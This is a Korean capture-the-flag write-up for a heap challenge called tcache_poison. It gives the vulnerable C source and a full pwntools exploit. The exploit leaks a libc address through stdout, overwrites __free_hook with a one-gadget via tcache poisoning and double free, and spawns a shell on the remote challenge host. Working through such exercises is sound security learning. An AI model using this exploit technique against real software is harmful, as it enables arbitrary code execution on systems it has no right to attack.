본 풀이를 진행하기 전에, 진짜 많이 시도한 문제이다.
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
생각보다 코드가 그리 길지는 않다. 문제를 어떻게 풀어야 할까. 우선 Edit chunk를 통해 free된 chunk여도 그 값을 바꿀 수가 있다. 딱히 실행할 것이 보이지 않기에, 우선 stdout이나 stdin을 통해 libc_base를 따고 free hook을 overwrite 해주면 되겠다.
stdout은 60으로 끝나고, stdin은 00으로 끝나니 stdout을 건들도록 하자. 그 이유는 이 주소들은 잘못 건들면 입출력이 잘 안되기 때문이다.
from pwn import *
e = ELF('./tcache_poison')
l = ELF('./libc-2.27.so')
r = remote('host3.dreamhack.games',13185)
sla = r.sendlineafter
sa = r.sendafter
sl = r.sendline
def Create(size, data):
sla(b'Edit\n',b'1')
sla(b'Size: ', f'{size}'.encode())
sa(b'Content: ', data)
def Delete():
sla(b'Edit\n',b'2')
def Edit(data):
sla(b'Edit\n',b'4')
sa(b'Edit chunk: ',data)
def leak():
sla(b'Edit\n',b'3')
put_got = e.got['puts']
#Delete()
Create(0x20,b'A'*8)
Delete()
Edit(p64(0x601010)+b'\x00'*8)
Delete()
Create(0x20, p64(0x601010))
Create(0x20, b'A'*8)
Create(0x20, b'\x60')
leak()
stdout_offset = l.symbols['_IO_2_1_stdout_']
r.recvuntil(b'Content: ')
#leak = r.recvline()
leak = u64(r.recv(6)+b'\x00'*2)
libc_base = leak - stdout_offset
oneshot = libc_base + 0x4f432
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
#----------------------------------------------
Create(0x40,b'A'*8)
Delete()
Edit(p64(free_hook)+b'\x00'*8)
Delete()
Create(0x40, p64(free_hook))
Create(0x40, b'A'*8)
Create(0x40, p64(oneshot))
Delete()
r.interactive()
Edit을 통한 double-free가 되었기에 쉽게 문제를 해결할 수 있었다.